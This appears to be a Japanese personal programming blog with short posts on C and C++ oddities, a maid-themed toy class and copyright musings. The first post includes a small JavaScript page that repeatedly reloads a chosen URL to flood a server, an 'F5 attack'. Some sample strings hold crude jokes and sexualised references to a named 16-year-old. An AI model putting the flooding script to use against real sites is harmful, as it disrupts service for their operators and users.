スポンサーサイト

上記の広告は1ヶ月以上更新のないブログに表示されています。
新しい記事を書く事で広告が消せます。

F5攻撃

2chがF5攻撃されたらしい。
一度に大量のアクセスをしてサーバをダウンさせる攻撃。

簡単にやるならjavascriptでこんな感じかな。

<title>unko</title>
<body>
<iframe name="load"></iframe>
<div id="sta">待機</div>
<input type="button" onclick="onoff()" value="ON/OFF">
<input type="input" id="urlbox" size="100" value="http://">

<script>
var g_onoff = 0;

function onoff() {
  g_onoff = 1 - g_onoff;
  if (g_onoff) {
    document.all.sta.innerHTML = "攻撃中";
    attk();
  } else {
    document.all.sta.innerHTML = "停止";
  }
}

function attk() {
  var url;
  url = document.all.urlbox.value;
  window.open(url, "load");
  if (g_onoff) setTimeout("attk()", 1000);

}
</script>
</body>


スポンサーサイト

花畑とお花畑

花畑とお花畑、この2つの言葉はまったく意味が異なる。

花畑は、花を植えた畑。
お花畑は、高山植物が群生する場所。

花畑を丁寧にしたら、お花畑なんていうアホがいるが、
まったく違うのだよ。

これと同じように、CとC++とJAVAとJasavaScriptはまったく違う。
いsd

C++でJAVA (1)

C++でJAVAをするのには、
クラスの理解が必要である、が、

System.out.println
をC++で表現するにはどうしたらいいのだろうか。

1)Systemクラスを作り、
その中にoutクラスを作ってprintlnをメンバ関数を入れる。

2)System構造体にout構造体を入れて、out構造体のメンバにprintln関数のポインタを用意する。

どっちがいい?

#include <iostream>

class Java_Out {
public:
template
void println(const T &t)
{
std::cout << t << std::endl;
}
};

class Java_System
{
public:
Java_Out out;
} System;

int main(void)
{
System.out.println("デブは死ぬ");
}

Cはめちゃくちゃなコメント

/*
C言語とかはどこにでもコメントが沸く。


/* */

int /* */ main (/* */void)
{
char aho[256/* 連想配列ごっこ */];

'a'[aho] = /* c= */'c'
;
aho['b'] = 555;

*(aho + '3') =
0;
http://blog74.fc2.com/cd900st/

if ('3'[aho])
{
printf("%d %d %d\n", aho['a'], aho['b'], aho['3']);
return 007;
}

aho['2' + 1] = !(!4);
goto http;

main();
}

陰湿C厨

当然だけどC言語には文字列型がない。
だから、namae = "夏帆ちゃん";
とか namae = "夏帆" + "ちゃん" + 16 + "歳";
とかは出来ない。
やるなら
sprintf(namae, "夏帆%s%d歳", "ちゃん", 16);
などとする。

んで、文字列リテラルにはヌル文字がくっつく。
"夏帆ちゃん"は「夏帆ちゃん\0」と。

で、このヌル文字が日本語では\(円)になるよね。
だからゼロ円を見ると文字リテラルに見えてしまう。
「夏帆ちゃんの写真集が\0」と書いてあれば、
価格0円ではなく、文字列に見えるよね。

C厨おそるべそ。

C言語のFILEについて

久しぶりにプログラムするよ。

C言語でファイル操作をするときの
FILE構造体。
実際にはFILE*(ファイルポインタ)を扱うんだよな。
で、意味も分からず

FILE *fp;
fp = fopen("夏帆ちゃんに蹴られたい♪.txt", "r");
if (fp != NULL) return fp;

このように書いているけど、
fpは単なるポインタなんだから、
char *でもint *でも関係ないんじゃね????
どうせFILE構造体のメンバにアクセスすることがないんだし。
べつにアクセスする必要があってもキャストすればすむ。

#include <stdio.h>

int main()
{
char *fp;
fp = (char *)fopen("夏帆ちゃんの紺ハイソ♪.txt", "w");
fprintf((FILE *)fp, "夏帆ちゃんの紺ハイソ♪");
fclose((FILE *)fp);
}

上のは警告出るからキャストしてみた。
--===0000--===0000--===0000--===0000--===0000--===0000
char *を使って構造体のメンバ変数をさわる。

#include <stdio.h>

//構造体アラインメントを1バイトにする。
#pragma pack(push, 1)

//確認用構造体
typedef struct {
int a;
char b;
int c;
} CHINKON;


int main()
{
CHINKON oty;
char *p;

oty.a = 1;
oty.b = 2;
oty.c = 3;
p = (char *)&oty;
*(p+4) = 64;
printf("a=%d b=%d c=%d\n", (int)*p, (char)*(p+4), (int)*(p+5));
return 398;
}

モザイクが落ちる(1)

僕のメインで使ってるブラウザ=NCSA Mosaic (win 3.0)
これがよく落ちる。

windbgで転がしてみると、
読み込み途中で落ちる場合は、
cindex.dllに含まれるCTextIndexが原因のようだ。
こいつはキャッシュを増やしたり、読み込みだけを先にしておくようにしたりすると、落ちにくくなるようだ。

で、もう1つ落ちる原因があるんだけど、これが分からん。
Access Violationと表示されるんだけど。


entryキーワード

C言語には昔、entryなるキラーワードがあったらしい。

C FAQによると、
FORTRANのように関数が複数の異なる名前のエントリーポイントを持つことを許すことを考えて予約されていた。

と書いてある。
どういう意味なんだろうか。

func1(){...}
と定義しておいて
entry func2 func1;
とかすればfunc2を呼んだときfunc1が呼び出される仕様だったんだろうか。でもこれだったらマクロとか関数ポインタで代用できるし。
BASICのLETとかauto並に意味の無いキーワードになってしまう。

発想が貧困でごめんね

今日のプログラム.

#define maid main

#include <iostream>
#include <iomanip>
#include <string>
#include <windows.h>

class CMaid {
private:
std::string namae;

public:
CMaid(void);
CMaid(std::string);
~CMaid();
void Yotsunbai(void);//四つんばい
void Syaburi(void);//しゃぶり
bool Meirei(void);//命令
};

//デフォルトの名前
CMaid::CMaid(void)
{
namae = "中川心美";
std::cout << namae + "「おはようございます、ご主人様」" << std::endl;
}

//新しい名前を付ける
CMaid::CMaid(std::string atarashiinamae)
{
namae = atarashiinamae;
std::cout << namae + "「おはようございます、ご主人様」" << std::endl;
}

CMaid::~CMaid()
{
std::cout << namae + "「お休みなさいませ、ご主人様」" << std::endl;
}


bool CMaid::Meirei(void)
{
std::string meireigo;

std::cout << namae + "「ご主人様、ご命令を」" << std::endl;
std::cin >> std::setw(1000) >> meireigo;

if (meireigo == "END") {
return false;
} else {
std::cout << namae + "「かしこまりました、ご主人様」" << std::endl;
}
return true;
}

maid()
{
CMaid naer("塩見美奈香");
while(naer.Meirei());
}

プログラムは著作物になるか? 


著作権法でプログラムは著作物になる。でも条件があって、
「思想または感情を創作的に表現したものであって、
文学、学術、美術または音楽の範囲に属するもの」
結果として出さないといけないそうだ。
俺のプログラムはこのルール、どこにもカスってもないじゃん。
メインの再生はDirectShow使ってるから創作的表現じゃないし。
TTAやOgg Vorbisのデコードはそれぞれ他人のライブラリだし、
再生にはwinmm使ってる。
C言語とWin32APIを使ってるが標準ライブラリとWin32APIの組み合わせ。
つまり、自分で何も作り出していない。

変に「著作権は私にあります」なんて書かなくて良かったぜ。
うそつきになるところだったぜ。
勉強していないと何をしでかすかわからんな、まったku.
プロフィール

堀内@KB(平井公彦)

Author:堀内@KB(平井公彦)
詳細プロフ

Twitter→@rice_ja
↑名前が違いますが私です。

月別アーカイブ
ブログ内検索
最近の記事
最近のコメント
最近のトラックバック
カテゴリ
ランキング
恋愛テクニック
リンク
RSSフィード
FC2ブログランキング

FC2カウンター
アフィ
上記広告は1ヶ月以上更新のないブログに表示されています。新しい記事を書くことで広告を消せます。